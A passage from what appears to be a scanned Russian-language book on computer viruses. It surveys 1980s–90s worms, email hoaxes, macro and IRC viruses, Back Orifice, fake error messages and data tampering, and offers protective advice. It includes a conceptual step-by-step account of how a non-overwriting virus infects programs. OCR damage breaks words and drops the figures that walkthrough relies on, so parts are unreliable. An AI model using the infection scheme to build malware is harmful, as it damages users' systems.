О сути вирусов контрольного размножения вируса сеть в короткое время оказалась перегружена и вышла из строя). Можно считать, что вирус этот был направлен против самой сети, на документы и программы пользователей ему было наплевать. Надо сказать, что "червь" Морриса, был не первым "экспериментальным" ви русом. Годом раньше (в декабре 1987 г.) в сеть одного из немецких университетов был запущен вирус Christmas Tree. За короткое время из университетской сети вирус проник в сеть EARN (European Academic Research Network — сеть научного обмена данными), из нее -— в Bitnet и, наконец, — во внутреннюю сеть компании IBM Vnet. Здесь то он и попался, вирус локализовали и уничтожили, а "дыры" в программном обеспечении, наличие которых сделало возможным его распространение, закрыли. Отсюда вывод: сетевой вирус скорее может попасть в руки профессионалов, чем, на пример, файлово-загрузочный. На устранение последствий этой вирусной атаки уш ло более двух дней. Спустя семь лет появился интересный прикол — GoodTimes, значительно бо лее "опасный", чем его предшественники действующий по принципу "бойся сам и испугай другого". Количество поверивших в пугающие своей "правдивостью" пись ма, часто рассылаемые от имени той или иной известной компьютерной фирмы, бы ло просто огромно. А вы бы не поверили в подобное письмо, если бы оно пришло, например, от г-на Касперского или г-на Данилова. Содержание в этих писем, таково: имеется вирус, который способен заразить ваш компьютер при чтении обычного (текстового) электронного письма. Т.е. такое письмо не только читать нельзя, но и по лучить опасно. О том, что все это ерунда, много раз твердили миру различные авто ритетные специалисты, профессионалы в области компьютерной вирусологии и защиты компьютерных сетей и информации. Только кто же им поверит, они же "ло хи", зато юзеры лучше их знают что делать! Известный и уважаемый мной антивирусник Д.Н.Лозинский в своей статье про вирусы из Интернета приводил следующий пример, ниже приведено письмо, пришедшее к нему по Итернету: "Эта информация пришла вчера утром от Микрософта. Пожалуйста, передайте ее каждому, кто имеет доступ в Интернет. Вы можете получить нечто с виду безобидное. Дальше: Будвайзер, назван ный "BUDDYLYST.ZIP". Если получите, то НИ В КОЕМ СЛУЧАЕ ЕГО НЕ ОТКРЫ ВАЙТЕ, а сразу удалите. Если его откроете, то потеряете все, что есть в вашем компьютере. Жесткий диск будет полностью уничтожен, а лицо, которое вам по слало сообщение, получит доступ к вашему имени и паролю в интернете. Насколь ко известно, вирус появился вчера утром (наверное, уже позавчера). Это новый вирус и очень опасный. Пожалуйста, скопируйте это сообщение и пошлите его всем, кто есть в вашем списке е-мейлов. Необходимо сделать все, чтобы этот ви рус остановить. AOL подтвердил, что этот вирус очень опасен, и пока не сущест вует никакой антивирусной программы против него. Пожалуйста, примите меры предосторожности и передайте эту информацию своим знакомым и т. д.". По су ти, полнейшая чушь!
45
О сути вирусов В данной главе я расскажу о реальных опасностях, которые могут подстере гать пользователей Интернета. Все рассуждения будут строиться на том, что вы ра ботаете в операционных системах Windows 95/98 и используете Интернет так, как сегодня предлагают большинство провайдеров: связь с сервером провайдера по про токолу РРР, работа с электронной почтой по протоколам POP и SMTP. Короче говоря, если вы работаете с Интернетом дома, дозваниваетесь до провайдера посредством модема, для просмотра Web-страниц используете Internet Explorer, Netscape Navigator или Opera, а для работы с электронной почтой, например, Outlook Express, то все что вы увидите ниже предназначается именно вам. Рассмотрим типичную ситуацию: вы получили электронное письмо, во вложенииП). к которому находится документ Microsoft Word. Например, с безобидным названием PRIKOL. DOC. Конечно, вы захотите поскорее ознакомиться с содержи мым файла, благо при использовании большинства современных почтовых программ для этого достаточно щелкнуть мышкой на имени файла. Вот вы и попались! Если в файле содержится макро-вирус (а вирусы этого типа, заражающие документы Microsoft Word, Microsoft Excel и ряда других популярных систем обработки данных, получили в последнее время огромное распространение, до 80% от общего числа за ражений), он немедленно заразит вашу систему. В последних версиях систем, кото рые могут подвергнуться вирусной атаке, имеется проверка на наличие макрокоманд в открываемых файлах. Но это слабое утешение. Во-первых, данную проверку мож но отключить. Во-вторых, файл может содержать вполне "мирные" макрокоманды и отключать же их "на всякий случай" тоже нелепо. Что бы обезопасить себя от такого рода неприятностей советую потратить несколько лишних секунд: сохранить его на диске, проверить антивирусной программой последней версии и только потом, если вирусов в файле не обнаружено, открывать. Есть и еще более простое решение — ис пользовать антивирусную программу, осуществляющую автоматическую проверку приходящей электронной почты. Но данное мероприятие рекомендуется произво дить в случае наличия достаточного количества оперативной памяти, поскольку в противном случае вы потратите столько времени, что легче после завершения сеан са работы в Интернете запустить какой-нибудь хороший антивирусный скаHep(DrWeb или AVP). Широкую известность получил макрокомандный вирус WM.ShareFun. Его особенность заключается в том, что он пытается использовать для распространения электронную почту и ему это удается, иначе он не вышел бы за пределы компьютера своего хозяина. Механизм функционирования этого вируса следующий: при откры тии зараженного документа с некоторой вероятностью вызывается макрокоманда, которая сохраняет текущий документ под именем C:\DOCl.DOC, сканирует Microsoft Mail (если данная система не установлена, то вирус перезагружает Windows), выбирает из адресной книги три случайных адреса и посылает по этим ад ресам зараженный документ C:\DOCl.DOC (само собой, как вложенный файл). Дан1ные письма содержат заголовок: You have GOT to read this! Имеется значительное количество троянских программ, которые воруют пароли пользователей и прочую системную информацию и пересылают их злоумы-
О сути вирусов шленникам. Некоторые из них по существу представляют собой полнофункцио нальные утилиты для удаленного управления компьютером. Проще говоря, посред ством такой программы злоумышленник может получить доступ к вашему компьютеру и выполнять на нем различные операции (практически любые) без ва шего ведома и участия. Характерным представителем троянцев описанного типа является програм ма Back Orifice. "Back Orifice является системой удаленного управления, позволяю щей пользователю контролировать компьютеры при помощи обычной консоли или графической оболочки. В локальной сети или через Интернет ВО предоставляет больше возможностей на удаленном компьютере (с операционной системой Windows), чем имеет сам пользователь этого компьютера" — это текст из "реклам ного" объявления на одной из хакерских Web-страниц. Разумеется, возможность удаленного управления вашего компьютера представляет серьезную опасность, но не такую большую, как кажется на первый взгляд. Обычные пользователи проводят в Сети не так много времени (качество телефонных линий этому, надо сказать, спо собствует), да и что такого "интересного", с точки зрения хакера, можно сделать на вашем компьютере? Оказывается, можно, только администрировать ничего не надо. Существенный интерес для хакера представляют пароли. Заполучив пароль, хакер может запросто "просадить" все ваши денежки и/или заниматься своими темными делишками под вашим именем. HTML вирусы встречаются редко, так что информация о них представляет скорее "академический" интерес, нежели практический. Суть такова: на самом язы ке HTML, который используется для разметки гипертекстовых документов, ника кие вирусы, конечно, написать нельзя. Но для создания динамических страниц, организации взаимодействия с пользователем и прочих действий используются программные вставки (скрипты) в HTML-документы. Известные HTML-вирусы используют скрипты, написанные на языке Visual Basic. С их помощью они нахо дят НТМ- и HTML-файлы на локальной машине и записываются в них. Иногда та кие вирусы как-нибудь проявляют себя (например, выводят MessageBox). Малому распространению вирусов данного типа (равно как и малому их числу) способст вует то, что при стандартных настройках броузера выполнение "опасных" скриптов (а к таковым относятся и те, в которых происходит обращение к файлам локально го компьютера) запрещено. Обычные же, "безопасные", скрипты не могут произво дить описанные манипуляции. Некоторые вирусы дописывают к HTML-файлам код, инициирующий загруз ку файла с удаленного компьютера. Этот файл обычно выдается за какое-нибудь по лезное, иногда достаточно известное, программное обеспечение (например, новую версию архиватора). Далеко не всякий пользователь задумается над тем, с чего это вдруг ему предлагается загрузить программу, которую он не просил. К навязчивости рекламы мы все уже привыкли. А только что полученную программу, конечно, надо сразу испробовать, потирая руки от предвкушения поиметь новый софт! Все ли пе ред этим проверят полученный из сети файл антивирусной программой? Всяко, нет!
47
О сути вирусов Кратко остановимся на вирусах написанных на языке Java. В настоящее вре мя известны два вируса, написанные на языке Java. Опасности они практически не представляют. Кратко поясним, в чем суть. Исполняемые модули программ, написан ных на Java (CLASS-файлы), бывают двух типов: приложения и аплеты. Приложения выполняются под управлением интерпретатора и являются почти обычными про граммами (почти, ибо имеются все же некоторые ограничения, например, в области работы с памятью). Аплеты, в отличие от приложений, могут выполняться под уп равлением броузеров, но на них накладываются значительно более серьезные огра ничения для обеспечения безопасности: аплеты, в частности, не имеют почти никакого доступа к файловой системе локального компьютера (кстати, в отличие от случая со скриптами отключить данное ограничение в броузере невозможно). Таким образом, Java-вирусы могут быть оформлены только как приложения и для подавля ющего большинства пользователей опасности не представляют. Отметим, что возможность заражения файлов на сервере HTML- и Java-виру сами практически исключена (администратор такого сервера для этого должен совер шить вопиющие ошибки или быть абсолютным дебилом). Так что распространять такие вирусы могут лишь серверы с определенной репутацией. Еще имеются IRC (четланские вирусы (Chat)). IRC (Internet Relay Chat) — специальный протокол, обеспечивающий общение пользователей Сети в реальном времени. Организуется такое общение при помощи специальных IRC-серверов, под ключение к которым производится посредством специальных программ — IRC-клиентов. Широко известны и используются два IRC-клиента mIRC и PIRCM. IRC-вирусы существенно используют два факта: во-первых, протокол IRC помимо простого общения позволяет пользователям обмениваться файлами, при этом иници ировать пересылку файла может отправитель (например, в ответ на появление в со общении какого-нибудь слова); во-вторых (и это явная "дыра" некоторых версий IRC-клиентов, которая в настоящее время ликвидирована), присланные файлы рас полагаются в корневом каталоге клиента. Последняя особенность позволяет вирусу замещать системные файлы клиента (конкретно — SCRIPT.INI) таким образом, что при следующем старте клиента он оказывается зараженным и сам начинает рассы лать "подарочки". Первые IRC-вирусы. mIRC.Acoragii и mlRC.Simpsalapim были обнаружены осенью 1997 г. Названия эти вирусы получили по используемым ими кодовым сло вам, при вводе слов Acoragil и SimpSalapim соответственно вирусы отключают поль зователей от канала. Кроме того, вирус mIRC.Acoragii ворует системные файлы DOS, Windows и Unix. Для полноты картины упомянем вирус, автор которого предполагал использо вать для его распространения FTP-протокол (File Transfer Protocol). Ни одного случая заражения этим вирусом по FTP зафиксировано не было, но сам факт существования такого вируса стал широко известным. На самом деле Homer является довольно обычным файловым вирусом, который при соединении пользователя с FTP-сервером пытается переслать свою копию в каталог Incoming (предназначенный для файлов, присланных пользователями). Поскольку в протоколе FTP отсутствует возможность
О сути вирусов запуска файлов на удаленном компьютере, этим "распространение" вируса ограничи вается. Для активизации его необходимо непосредственно запустить "руками".
Вирусы, приводящие к фатальным ошибкам Некоторые разновидности вирусов предназначены для генерации отказов системы (зависание, перезагрузка, некорректная работа программы). Самый рас пространенный из этих отказов — фатальная ошибка системы. В момент, когда си стема не допускает никакого внешнего вмешательства, установить причины отказа невозможно. Здесь очевидные преимущества по сравнению с MS-DOS имеют другие опе рационные системы, за исключением, пожалуй, Windows'а (Который постоянно вы дает на экран сообщение типа "Коврик для мыши выполнил недопустимую операцию и будет свернут"). Типичный пример этого — гак называемый SYSLOG, файл, в котором регистрируются все сообщения об ошибках. Даже при фатальной ошибке системы с его помощью при достаточно высоком профессионализме можно определить причину аварии. Принцип действия "системного журнала" SYSLOG до статочно прост им может быть реализован даже при поддержке MS-DOS. По своему назначению SYSLOG аналогичен "кнопке бдительности" машини ста тепловоза. Если он не нажимает кнопку или нажимает ее нерегулярно, поезд ос танавливается. В ЭВМ регулярно обслуживается определенная стандартная программа. Ес ли вдруг такого обслуживания не происходит, все содержимое ОЗУ заносится в па мять. Из этого файла инженер-системотехник может определить причину ошибки. Вызываемые вирусом фатальные ошибки системы могут иметь различные причины. Первая причина — это ошибка программирования в программе-вирусе. Вторая причина — несовместимость с системой, т.е. непереносимость программы в данную систему; или несовместимость с установленным ПО. Но третья и наиболее существенная причина — преднамеренные аварийные ситуации предназначенные именно для этих целей. То есть вирусы умышленно запрограммированы так, чтобы парализовать систему. Аварийные ситуации могут иметь различную форму, начиная от набора меняющихся на экране картинок, сопроворкдшощегося на старых бытовых компьютерах пронзительным визгом динамиков до "тихой аварии", которая проявля ется в невозможности любого ввода с клавиатуры. В большинстве случаев невозмо жен и "горячий перезапуск" (в MS-DOS клавиши Alt, Ctrl и Del), не срабатывают клавиши сброса и помочь может только отключение питания. Так как некоторые ста рые ЭВМ снабжены термозащитой, блокирующей повторное включение сразу после выключения, такая авария в некоторых случаях требует вынужденной 15-минутной паузы перед повторным запуском. Нетрудно представить, какой нервный шок может вызвать такая авария, происшедшая спустя 1-2 часа после начала работы. Как вести себя в подобном случае? Разумеется, фатальная ошибка системы в описанной выше форме не обяза тельно вызывается вирусами. Авария, повторяющаяся каждые 30 минут, может быть AQ
О сути вирусов вызвана аппаратным сбоем. Невысокое качество корпуса ИС, "холодная пайка" или дефект чипа являются источниками сбоев, проявляющихся только при нагреве обо рудования. А поскольку ЭВМ достигает своей "рабочей" температуры спустя некото рое время после включения, ошибка появляется не сразу. Аварии такого рода требуют тщательной проверки системы. Например, вначале нужно отключить ЭВМ от сети, а затем повторно включить, так как при "горячей перезагрузке" не всегда полностью очищается ОЗУ. Затем следует вновь загрузиться с новой дискеты, полу ченной от изготовителя и снабженной защитой записи, и в течение достаточно дли тельного времени поработать как будто на "холостом ходу". Если при этом вновь обнаружатся ошибки, причину следует искать в де фектах аппаратуры или в ее несогласованности с используемой операционной системой. Следующий шаг в поиске ошибки — загрузка диагностической дискеты, при чем и здесь следует обязательно воспользоваться оригиналом, защищенным от запи си. Если при такой проверке аппаратура окажется исправной, начинается последовательная и обстоятельная проверка операционной системы и прикладных программ. Таким очень трудоемким и отнимающим много времени способом можно локализовать и затем удалить ошибочную, несовместимую или выполняющую при водящие к ошибке манипуляции программу. Если, тем не менее, ошибка повторяет ся, то есть основание полагать, что имеет место заражение вирусом, перенесенным на другие программы. Теперь следует сравнить используемые программы с кон трольными копиями (разумеется, защищенными от записи) с использованием функ ции "Сравнить каталоги" из верхнего меню вашей любимой досовской оболочки (Norton commander или Dos Navigator). При наличии отклонений не обойтись без по мощи инженера-системотехника.
Вирусы, повреждающие аппаратуру Одним из проявлений вирусофобии следует считать слухи о вирусах, повреж дающих оборудование. Вопрос о возможности повреждения оборудования беспоко ит буквально всех. Доподлинно известно, что, хотя большинство повреждений, наносимых вирусом, относятся к данным, возможны также повреждения оборудова ния. Например, можно повредить участок люминофора ("выжечь пятно") на моно»хроматическом мониторе, используя особенности схемы управления. Однако, для цветного монитора, это сделать невозможно. Ходят упорные слухи о каких-то ковар ных вирусах, якобы вводящих в резонанс головки винчестера. К сожалению, эти слу хи проникают и в "околовирусные" публикации. Пример: Существуют программы, которые способны вывести из строя дисковод или жесткий диск (имеется в виду физическое устранение) путем изменения адресов пер вого и последнего секторов диска, на практике я очень часто встречался с такими ви русами. Данная манипуляция не очень опасна для дисководов, т.к. положение считывающей головки можно исправить вручную, открыв дисковод, но не для жест-
»
50
О сути вирусов ких дисков. Операция по возвращению головки на свое место КРАЙНЕ НЕ рекомен дуется! Второй пример — воздействие на внешние устройства. Так, например, в на боре команд многих принтеров имеется команда обратной перемотки бумаги. Она используется при работе в графическом режиме или при юстировке отключения по дачи бумаги. Но если попытаться обработать большое количество листов с использо ванием команды обратной перемотки, почти наверняка внутри принтера образуется бумажный затор, который устранить можно только путем разборки и чистки принте ра. Если одна из программ при отсутствии в течение длительного времени команд с клавиатуры, т.е. в отсутствие оператора вызовет такую команду обратной перемотки, то по возвращении оператора на свое рабочее место он может встретиться с непри ятной неожиданностью. Последний пример из этой серии — программа стирания контрольной дорожки на подключенном жестком диске. Она делает это настолько ос новательно, что диск уже нельзя спасти даже при повторном форматировании. Хотя до сих пор не удалось провести экспертизу этой программы, но написана она весьма профессионально, видно кто-то уж очень хотел насолить ближнему своему. Такая мифотворческая тенденция наверно возникает в связи с любым мало изученным и потенциально опасным явлением. Следует учитывать также благопри ятный для такого рода слухов социальный фон: сейчас в обществе оживился интерес ко всякого рода магии и "чудотворцам". Некоторые из них ухитряются даже загова ривать воду по телевизору. По сравнению с водой, заговоренной по телевизору и из леченному таким же способом геморроем, вирус, прожигающий дыру в экране или даже в клавиатуре, выглядит предельно правдоподобно. Пару лет назад принято было считать, что повредить или даже разрушить аппаратуру компьютера с помощью программных команд нельзя. Несомненно, из готовители исследовали и подумали о том, как можно защитить системы от оши бок программирования. Тем не менее, в свое время одному из распространенных бытовых компьютеров можно было причинить неисправимый ущерб с помощью команды РОКЕ. Хотя пробел был со временем устранен, несколько ЭВМ пали жертвой этой команды. К счастью, сегодня едва ли существуют такие простые способы повреждения аппаратуры (кроме кувалды, которой, нет равных в физическом уничтожении всего живого и неживого). Но создатели "программ-убийц" также очень изобретательны. Хорошо, что описанная ниже разрушающая программа до сих пор не встречалась в форме вирусов. Хотя, может, уже и появилась..., но поверьте, что данная манипуля ция принесет меньший вред, чем просто тупое форматирование или шифрование. В какой-то степени "особое место" занимают программы, ущерб от которых не поддается измерению, поскольку они не приводят к непосредственному разруше нию, а лишь увеличивают износ оборудования. Например, небольшое изменение в CONFIG.SYS приводит к значительному увеличению числа обращений к жесткому диску. По прежней работе автору известна мини-ЭВМ с крайне неудачным выбором объема основной памяти — всего 128 Кбайт. Поэтому операционная система, даже не при пиковой загрузке, непрерывно занята загрузкой и выгрузкой сегментов про-
51
О сути вирусов грамм. Подобные операции дают за сутки большую нагрузку на дисковод, чем за не делю работы в нормальных условиях.
Вирусы, имитирующие ошибки Еще одна проделка вирусов — демонстрация пользователю фокусов с ошиб ками в его системе. Подобные "ложные ошибки" с некоторых пор используют произ водители программного обеспечения, правда, не в связи с вирусами, чтобы разоблачить лиц, незаконно копирующих программы. Такие ошибки выводят, напри мер, следующие сообщения: "Номер внутренней ошибки: 084876 в позиции PC 5869. Запишите и сообщи те, пожалуйста, изготовителю". Конечно, такой ошибки вообще не существует. Выдача сообщения иницииро вана незаконным копированием, оно содержит ничто иное, как серийный номер про граммы, с помощью которой изготовитель может установить, кто первоначально ее получил. Можно было ожидать, что такие методы будут использованы и составителя ми вирусов. Безобидным примером вируса, имитирующего ошибки, служит про грамма Б. Фикса "час пш", которая имитирует неисправную клавиатуру и при каждом нажатии клавиши создает шум в динамике системы. Это происходит спустя некоторое время после включения, и поэтому пользователь легко приходит к выводу, что в клавиатуре происходит тепловой отказ или зависла система. В принципе, нужно отличать программы, которые лишь выдают сообщения об ошибке на экран или на печать, от программ, которые действительно производят ошибки. В данном случае трудно найти границу между имитационными и разруши тельными вирусами. Вирус, который раз за разом помечает все большее число секто ров на жестком диске как дефектные и тем самым уменьшает емкость памяти, нельзя однозначно отнести к одной из этих групп. В самом деле, хотя здесь имитируется со общение об ошибке, в действительности аппаратные средства исправны: диск мож но привести в порядок путем повторного форматирования. И все же, отдельных пользователей можно таким образом вынудить к приобретению нового диска, если они увидят, число дефектных секторов непрерывно возрастает. В принципе, фантазия составителей вирусов в части моделирования неис правностей ЭВМ беспредельна. Чтобы привести пользователя в отчаяние, доста точно через неравные интервалы времени выдавать сообщение об ошибке PARITY CHECK 1. Уже приведенный выше пример с жестким диском показал, что подобные программы могут значительно повысить объем продаж оборудова ния и поэтому вполне вероятно, что постоянное сокращение рынка ЭВМ может побудить некоторых коммерсантов к использованию вирусов способствующих увеличению сбыта. Среди имитируемых ошибок нужно выделить, так называемые, "сообщения на смекалку", например:
52
О сути вирусов • • • • • •
Вентилятор защищен от записи! Дырка в диске С: В дисководе А: две дискеты. Insert 10$ in floppy drive А: (Вставьте 10$ в дисковод А:) Invalid user at the computer! (Неправильный пользователь за компьютером) Your hard disk is radioactive! (Ваш жесткий диск радиоактивен)
В общем, количество и остроумие данных сообщений зависит только от фан тазии автора вируса. Но, как правило, после появления подобного сообщения рядо вому пользователю бывает не до смеха.
Вирусы работающие с архивом данных Самый большой ущерб, с более тяжкими последствиями, чем при использо вании вирусов, повреждающих аппаратуру, могут причинить программы, действую щие на архивы данных. Здесь наиболее безобидный вариант — уничтожение архивов данных. В подобном случае можно чаще всего выйти из положения с помощью ре зервных копий. Более стойкий эффект дают изменения в массивах данных, которые не так просто обнаружить. Правда, такие действия часто требуют детального знания структур данных, но даже и при отсутствии таких сведений могут нанести значи тельный ущерб.
Очевидно, не требуется уточнять последствия такой манипуляции, если пред ставить, что она выполнена на ЭВМ предпринимателя в массивах списков на выпла ту зарплаты. Другая форма манипулирования данными — "разбухание" (не путать с "возбуханием") архивов. Если файл клиентов заполнить вымышленными именами, то не только увеличивается время обращения. Даже при чисто почтовых операциях затра ты резко увеличиваются, если получателей рекламных сообщений просто не суще ствует. Это приводит не только к бессмысленным почтовым расходам и потерям рекламных материалов. Если раздутый таким образом файл передать в резервный архив, то почти невозможно освободить его от нежелательных клиентов. Именно манипуляции такого рода в значительной степени затрудняют определение действи тельного объема убытков, поскольку за счет увеличения записей в файле возрастает продолжительность поиска и распечатки. А можно ли вообще выразить в деньгах дополнительный износ системы, время ожидания оператора, потери памяти т.д.?
53
О сути вирусов
Вирусы, не выполняющие функции перезаписи Более опасным вариантом компьютерных вирусов, хотя на первый взгляд они и не кажутся таковыми, являются непере записывающие вирусы. Поскольку чаще всего разрушение программ не в интересах составителей программ-вирусов, здесь предлагается тип вирусов, которые смогут существовать и быть активными в ЭВМ годами, оставаясь незаметными для пользователя, (обратите особое внимание на сло восочетание "существовать и быть активными"). В отличие от ошибок, обусловлен ных перезаписывающими вирусами, в данном случае ошибка, появившаяся однажды, начинает множиться. Для понимания лживой безобидности приведу высказывание Н.Н.Безруко ва — "ощущение безобидности неперезаписывающих вирусов связано с тем, что эти вирусы приводят к выдаче типичных сообщений об ошибках. При проведении семи наров по повышению квалификации всегда можно наблюдать, что демонстрация ви руса, который размножается, не выводя на дисплей сообщений об ошибках, как правило, не производит столь сильного впечатления на слушателей, как демонстра ция вируса, который уже после одного или двух этапов внедрения вируса выдает на экран беспорядочную последовательность символов. Это фатальная ошибка мышле ния, которая встречается не только в вычислительной технике." "Где нет симптомов, там нет и болезни". Но можно ли вообще заразить про грамму вирусом, не нанеся ей видимого ущерба ее работоспособности? Этот вопрос, пожалуй, возникает у каждого, кто хоть раз попытался включить дополнительные функции в уже существующую в объектных кодах программу. Неперезаписывающие вирусы строятся примерно по тому же принципу, что и перезаписывающие, но имеют дополнительную функцию в форме стандартной про граммы "MOV". Принцип работы этой стандартной программы легко понять, рас смотрев процесс распространения такой "инфекции": К —- Байт идентификатора вируса VIR — Ядро вируса MAN — Задание на выполнение операции вируса MOV — Стандартная программа сдвига при регенерации программы А теперь обратимся к инфицированной программе, но инфицированной виру сом, отличающимся тем, что все "зараженные" эти вирусом программы являются но сителем вируса, но могут обрабатываться без выдачи сообщения об ошибке. Как и для перезаписывающих вирусов, в начале вновь стоит команда безус ловного перехода или нулевая команда, которая является идентификатором вируса. Когда вирус активизируется просматривается массовая память. +
I +
О сути вирусов В процессе поиска вирус найдет вторую прикладную программу. Поскольку такая программа при соответствующей проверке не обнаруживает байта идентификтора "К", программа считается неинфицированной и начинается процесс введе ния вируса.
В качестве первого шага из выбранной вирусом программы выделяется неко торая часть, длина которой точно равна длине программы-вируса без стандартной программы "MOV".
Для сравнения представим здесь вирус без стандартной программы MOV:
Теперь эта выделенная первая часть копируется в конец второй прикладной программы и в результате существует в двух экземплярах, увеличивая старую при кладную программу на собственную длину. Следует подчеркнуть также, что эта опе рация над второй прикладной программой выполняется не в оперативной памяти, а в соответствующей массовой памяти.
Теперь к уже расширенной второй прикладной программе после уже скопи рованной первой части добавляется еще и стандартная программа MOV, в результа те чего программа увеличивается еще на несколько байтов.
Следующий за этим процесс копирования выполняется точно так же, как и при перезаписывающем вирусе. Итак, стоящая в начале программы первая часть вто рой прикладной программы перезаписывается программой-вирусом, причем стан дартная программа MOV еще раз копируется, поскольку она уже имеется в конце программы. После завершения всех этих операций 2-я программа будет выглядеть таким образом:
Итак, часть программы перезаписана (заменена). Это необходимо, поскольку "злокачественные" коды этой демонстрационной программы должны стоять в нача ле программы, чтобы при запуске программы обеспечить ее обработку. Но содержи мое первой части не утрачено, поскольку она сохранена в конце программы.
55
О сути вирусов Затем программа-носитель вируса выполняет манипуляции любого рода, а потом продолжает обработку программы. Теперь возникает ситуация, когда вирус сначала не размножался и даже ника ким образом не проявлял своей активности. Это состояние сохраняется до тех пор, пока не будет запущена вторая инфицированная прикладная программа.
После запуска инфицированной программы вначале осуществляется переда ча вируса в следующую еще неинфицированную программу только что описанным образом. В этом случае атаке вируса подвергается третья программа. Перед запуском второй программы;
После запуска второй прикладной программы:
После того, как собственно процесс внедрения вируса закончен, а затем вы полнено задание MAN, активизируется стандартная программа MOV. В оперативной памяти ЭВМ находится инфицированная вторая прикладная программа. Стандартная программа MOV выделяет из этой программы сохраненную в конце программы первую часть и вновь перемещает ее на прежнее место в начало программы. Перед активацией стандартной программы MOV имеем такую картину:
После активации стандартной программы MOV;
В оперативной памяти теперь вновь записана исходная версия второй при кладной программы. Теперь стандартная программа MOV выполняет переход в на чало программы, после чего программа выполняется без ошибок. Теперь место в памяти, занятое "дубликатной " первой частью и стандартной программой MOV, уже не требуется и может быть занято другой информацией без возникновения ошибок. Собственно, описанные два типа вирусов и их специальные формы полностью исчерпывают все возможности распространения вирусов. Путем несложных логических рассуждений легко прийти к выводу, что распространяться путем."гене* рации некоторой более или менее точной копии внутри другой программы" могут лишь эти два' типа вирусов.
О сути вирусов
Получение выгоды Разумеется, программист, внедряющий вирус, не всегда причиняет ущерб другим лицам или организациям. Значительно более эффективным для разработ чика может стать получение собственной выгоды. Конечно, это можно достичь и за счет других лиц. Но более заманчивой представляется, например, возможность повысить собственный оклад. Правда, это рискованное предприятие, что понима ет не всякий. По словам одного из страховых экспертов, во всех ставших извест ными манипуляциях такого рода можно было проследить путь денег. Самая крупная из известных махинаций — случай в большом торговом предприятии, когда удалось присвоить несколько миллионов. Но и здесь удалось проследить путь денег и разоблачить преступника. Правда, до ареста пришлось сделать не сколько (не вполне легальных) шагов, но в конечном счете справедливость^) вос торжествовала. Многим запомнилась фраза преступника, в которой он выразил удивление, как просто все случилось. С тех пор в сфере защиты ЭВМ было сделано многое, но тем не Менее ком пьютерные системы все еще подвержены манипуляциям, причем несущественно, вызваны ли эти манипуляции вирусами или другими способами. И хотя, кажется, очень легко и просто применить для этой цели вирусы, принципиальная структура системы расчетов остается непоколебимой. Поэтому того, кто надеется легко набить себе карман с помощью компьютерных вирусов, ждет жестокое разочарование.
Преимущества и недостатки паролей Для защиты файла или программы от несанкционированного доступа обыч но используются пароли. Если в старых программах пароли в кодах ASCII еще можно было найти где-либо в кодах программы, пользуясь командой DEBUG, в по следнее время методы защиты с помощью паролей стали намного совершенней. Что бы сегодня найти пароль в ЭВМ, нужно затратить немало труда, тем более, что пользователь старается усложнить задачу, используя в качестве пароля имя жены или ребенка. Но поскольку пароли приходится вводить с клавиатуры, можно легко дога даться, что резидентная программа поддержки клавиатуры поможет овладеть паро лем. Проблема состоит лишь в том, чтобы поставить эту программу на ЭВМ. Часто практикуется внедрение, например, с помощью "троянского коня". Здесь вирусы да ют хакеру новые возможности проникновения. Сказанное относится не столько к от дельным ПЭВМ, сколько к ЭВМ коллективного пользования, так как здесь существует множество приоритетных уровней. В то время как в ПЭВМ однажды вве денная программа может контролировать ОЗУ целиком, в больших ЭВМ и вычисли тельных сетях существуют программные и/или аппаратные барьеры, разделяющие отдельных пользователей друг от друга. Так как вирус распространяется легально, не пытаясь прорвать эти барьеры, риск его обнаружения невелик. Если вирус с целью выполнения каких-либо манипуляций проник в область высшего приоритета, единственная для него проблема — не быть обнаруженным. Этого достаточно легко достичь в ЭВМ с большим объемом памяти. В то время, как
57
О сути вирусов пользователь уверен, что работает в защищенной системе, что все его секретные данные в полной сохранности, вирус прилежно старается записать все вводимые ко манды в файл, недоступный пользователям, но в любой момент открытый для ини циатора вирусного нападения. Полагаясь на надежную защиту системы, пользователь доверят ей данные и сведения, которые он хранил бы в бронированном сейфе. Даже если где-то однажды обнаружится, что пароли ЭВМ стали доступными благодаря применению вируса, едва ли можно установить, с каких пор вирусы нахо дятся в системе. Соответственно нельзя произвести оценку утечки информации и причиненного ущерба. Иногда достаточно лишь подозрения в возможности доступа к данным, чтобы обесценить весь архив. Например, достаточно подозрения, что по тенциальный противник расшифровал структуру криптографических программ, что бы полностью обесценить работу программистов трудоемкостью несколько сотен чел о веко-лет. Отсюда можно сделать вывод, что защита с паролями не обеспечивает эффек тивной изоляции данных. Вполне возможно, что более надежный способ защиты — разрешение доступа после проверки неизменных признаков пользователя, например отпечатков пальцев. Можно представить себе систему, для входа в которую требует ся снятие отпечатка на пульте обслуживания. В качестве признака могут также слу жить определенные, практически невоспроизводимые характеристики пользователя, например ритм ввода с клавиатуры. Но все эти проверки должны выполняться от дельными защитными устройствами на аппаратном уровне. Только таким путем можно было бы защититься от манипуляций с помощью программ-вирусов.
Формы проявления компьютерных вирусов Теперь, после того, как заложены основы понимания, что такое компьютер ные вирусы, рассмотрим различные формы проявления действия таких программ. Общим для всех форм проявления действия компьютерных вирусов является некото рое изменение составных частей программ. Такие изменения могут объясняться по-разному. Для того, чтобы ясно пред ставлять себе многочисленные возможности составления программ-вирусов, нужно, прежде всего, проанализировать основные функции программ-вирусов. Во всех случаях вирусу, для того, чтобы он мог начать действовать в каче стве вируса, нужно иметь право доступа на запись или иметь возможность полу чить право такого доступа. Кроме того, вирус должен иметь информацию о составе существующих программ или иметь возможность такую информацию получить. Если программа удовлетворяет этим двум основным условиям, из этой программы может распространяться вирус или она сама может развиться в вирус. В качестве третьего условия можно было бы рассматривать запрос опознания уже сущест вующей "инфекции". Строго говоря, это условие должно быть выполнено, чтобы можно было говорить об одном вирусе. Но, поскольку, наличие "инфекции", как
58
О сути вирусов правило, влечет за собой определенные нарушения, для пользователя неважно, бы ла ли программа заражена многократно. Для вирусов, не обладающих способностью распознавать наличие "инфек ции", избежать повторного заражения одной и той же программы можно, например, путем управления доступом через генератор случайных чисел. Правда, такие вирусы особенно опасны тем, что могут выйти из-под контроля собственного создателя, по скольку сам разработчик не имеет возможности управлять случайным доступом.
